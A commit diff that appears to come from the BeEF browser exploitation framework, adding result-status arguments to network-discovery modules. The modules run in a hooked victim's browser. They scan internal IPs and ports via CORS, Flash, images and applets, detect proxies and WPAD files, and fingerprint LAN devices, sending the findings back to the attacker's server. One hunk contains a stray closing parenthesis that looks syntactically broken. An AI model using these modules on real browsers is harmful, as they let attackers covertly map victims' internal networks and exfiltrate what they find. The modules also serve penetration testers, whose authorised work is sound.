Add ARE status
This commit is contained in:
@@ -111,7 +111,7 @@ beef.execute(function() {
|
||||
'if (response != null && response["status"] != 0) {' +
|
||||
'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' +
|
||||
'var title = response["body"].match("<title>(.*?)<\\/title>"); if (title != null) title = title[1];' +
|
||||
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response));' +
|
||||
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' +
|
||||
'}' +
|
||||
'});'
|
||||
);
|
||||
|
||||
@@ -123,7 +123,7 @@ beef.execute(function() {
|
||||
'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' +
|
||||
|
||||
'if (data.match("securityErrorHandler")) {' +
|
||||
' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive");' +
|
||||
' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.are.status_success());' +
|
||||
'}' +
|
||||
|
||||
'if (!data.match("Hijacked Contents:")) return;' +
|
||||
@@ -135,7 +135,7 @@ beef.execute(function() {
|
||||
'}' +
|
||||
|
||||
'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' +
|
||||
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' +
|
||||
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.are.status_success());' +
|
||||
' }', url);
|
||||
} catch(e) {
|
||||
beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message);
|
||||
|
||||
@@ -18,11 +18,10 @@ beef.execute(function() {
|
||||
var response = FindProxyForURL('', '');
|
||||
beef.debug("Response: " + response);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>,
|
||||
"has_burp=true&response=" + response
|
||||
);
|
||||
"has_burp=true&response=" + response, beef.are.status_success());
|
||||
} catch(e) {
|
||||
beef.debug("Response: " + e.message);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.are.status_error());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -110,7 +110,7 @@ beef.execute(function() {
|
||||
img.src = proto+"://"+ip+":"+port+uri;
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
img.onload = function() {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src));dom.removeChild(this);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this);
|
||||
beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]");
|
||||
}
|
||||
dom.appendChild(img);
|
||||
|
||||
@@ -18,7 +18,7 @@ beef.execute(function() {
|
||||
if (typeof FindProxyForURL === 'function') {
|
||||
var wpad = FindProxyForURL.toString();
|
||||
beef.debug("[Get Proxy Servers] Success: Found wpad (" + wpad.length + ' bytes)');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.are.status_success());
|
||||
} else {
|
||||
beef.debug("[Get Proxy Servers] Error: Did not find wpad");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=false");
|
||||
@@ -38,7 +38,7 @@ beef.execute(function() {
|
||||
return;
|
||||
}
|
||||
beef.debug("[Get Proxy Servers] Found "+proxies.length+" proxies: " + proxies.join(','));
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','));
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.are.status_success());
|
||||
}
|
||||
|
||||
load_script("http://wpad/wpad.dat");
|
||||
|
||||
@@ -102,13 +102,14 @@ var doScan = function(timeout) {
|
||||
beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)");
|
||||
doScan(timeout-500);
|
||||
} else {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.are.status_error());
|
||||
}
|
||||
} else if (discovered_hosts.length == 0) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.are.status_error());
|
||||
} else {
|
||||
beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed.");
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.are.status_success());
|
||||
);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -292,7 +292,7 @@ beef.execute(function() {
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
img.onload = function() {
|
||||
if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src));dom.removeChild(this);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this);
|
||||
beef.debug("[Network Fingerprint] Found [" + signature_name + "] with URL [" + escape(this.src) + "]");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -354,12 +354,12 @@ beef.execute(function() {
|
||||
lanScanner.addHost = function(obj) {
|
||||
this.timeout = 0;
|
||||
beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port));
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success());
|
||||
lanScanner.fingerPrint(obj.host);
|
||||
}
|
||||
lanScanner.addDevice = function(obj) {
|
||||
beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success());
|
||||
}
|
||||
lanScanner.destroyConnections = function() {
|
||||
var guessesLen = guesses.length;
|
||||
|
||||
@@ -57,7 +57,7 @@ beef.execute(function() {
|
||||
if(ips.length>1) {
|
||||
var int_id = setInterval( function() {
|
||||
var host = do_scan(ips[i++],timeout);
|
||||
if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
|
||||
if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success());
|
||||
if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }
|
||||
}, delay);
|
||||
} else {
|
||||
|
||||
@@ -28,11 +28,11 @@ beef.execute(function() {
|
||||
output = document.pingSweep.getAliveHosts();
|
||||
clearTimeout(int_timeout);
|
||||
clearTimeout(ext_timeout);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"));
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success());
|
||||
beef.dom.detachApplet('pingSweep');
|
||||
return;
|
||||
}else{
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error());
|
||||
return;
|
||||
}
|
||||
} catch (e) {
|
||||
|
||||
@@ -166,7 +166,7 @@ beef.execute(function() {
|
||||
{
|
||||
known_service = "(" + default_services[port_] + ")";
|
||||
}
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.are.status_success());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user